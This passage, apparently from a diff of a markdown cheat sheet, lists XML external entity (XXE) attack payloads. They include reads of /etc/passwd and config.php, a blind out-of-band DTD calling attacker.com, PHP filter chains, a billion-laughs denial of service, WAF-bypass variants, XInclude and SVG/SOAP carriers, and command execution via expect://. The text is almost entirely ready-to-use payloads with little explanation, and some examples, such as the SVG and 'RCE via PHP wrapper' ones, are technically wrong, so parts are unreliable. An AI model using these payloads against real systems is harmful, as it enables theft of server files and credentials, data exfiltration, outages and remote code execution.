<!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
## Blind OOB (Out-of-Band)
|
|
55
|
+
### Attacker DTD (hosted)
|
|
56
|
+
```xml
|
|
57
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
58
|
+
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
|
|
59
|
+
%dtd;
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
### On victim server
|
|
63
|
+
```xml
|
|
64
|
+
<?xml version="1.0"?>
|
|
65
|
+
<!DOCTYPE foo [
|
|
66
|
+
<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
|
|
67
|
+
%xxe;
|
|
68
|
+
]>
|
|
69
|
+
<data>test</data>
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
## PHP Filter Chain
|
|
73
|
+
```xml
|
|
74
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
75
|
+
<!DOCTYPE foo [
|
|
76
|
+
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=config.php">
|
|
77
|
+
]>
|
|
78
|
+
<data>&xxe;</data>
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
## XXE with CDATA
|
|
82
|
+
```xml
|
|
83
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
84
|
+
<!DOCTYPE foo [
|
|
85
|
+
<!ENTITY start "<![CDATA[">
|
|
86
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
87
|
+
<!ENTITY end "]]>">
|
|
88
|
+
]>
|
|
89
|
+
<data>&start;&xxe;&end;</data>
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
## Billion Laughs Attack (DoS)
|
|
93
|
+
```xml
|
|
94
|
+
<?xml version="1.0"?>
|
|
95
|
+
<!DOCTYPE foo [
|
|
96
|
+
<!ENTITY lol "lol">
|
|
97
|
+
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
|
|
98
|
+
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
|
|
99
|
+
]>
|
|
100
|
+
<data>&lol3;</data>
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
## WAF Bypass
|
|
104
|
+
### Encoding
|
|
105
|
+
```xml
|
|
106
|
+
<?xml version='1.0' encoding='UTF-8'?>
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
### Alternative Entity Syntax
|
|
110
|
+
```xml
|
|
111
|
+
<!ENTITY xxe SYSTEM 'file:///etc/passwd'>
|
|
112
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
113
|
+
<!ENTITY xxe SYSTEM 'file:///etc/passwd' >
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
### Remove DOCTYPE
|
|
117
|
+
```xml
|
|
118
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
119
|
+
<data xmlns:xi="http://www.w3.org/2001/XInclude">
|
|
120
|
+
<xi:include href="file:///etc/passwd"/>
|
|
121
|
+
</data>
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
## XXE in Different Formats
|
|
125
|
+
### SVG
|
|
126
|
+
```xml
|
|
127
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
128
|
+
<svg xmlns="http://www.w3.org/2000/svg">
|
|
129
|
+
<script>
|
|
130
|
+
<![CDATA[<!ENTITY xxe SYSTEM "file:///etc/passwd">]]>
|
|
131
|
+
</script>
|
|
132
|
+
</svg>
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
### JSON with XML
|
|
136
|
+
```xml
|
|
137
|
+
<?xml version="1.0"?>
|
|
138
|
+
<root>
|
|
139
|
+
<item>
|
|
140
|
+
<name>&xxe;</name>
|
|
141
|
+
</item>
|
|
142
|
+
</root>
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
### SOAP
|
|
146
|
+
```xml
|
|
147
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
148
|
+
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
|
|
149
|
+
<soap:Body>
|
|
150
|
+
<foo>&xxe;</foo>
|
|
151
|
+
</soap:Body>
|
|
152
|
+
</soap:Envelope>
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
## XXE to RCE
|
|
156
|
+
### Via expect://
|
|
157
|
+
```xml
|
|
158
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
159
|
+
<!DOCTYPE foo [
|
|
160
|
+
<!ENTITY xxe SYSTEM "expect://id">
|
|
161
|
+
]>
|
|
162
|
+
<data>&xxe;</data>
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
### Via PHP wrapper
|
|
166
|
+
```xml
|
|
167
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
168
|
+
<!DOCTYPE foo [
|
|
169
|
+
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
|
|
170
|
+
]>
|
|
171
|
+
<data>&xxe;</data>
|
|
172
|
+
```
|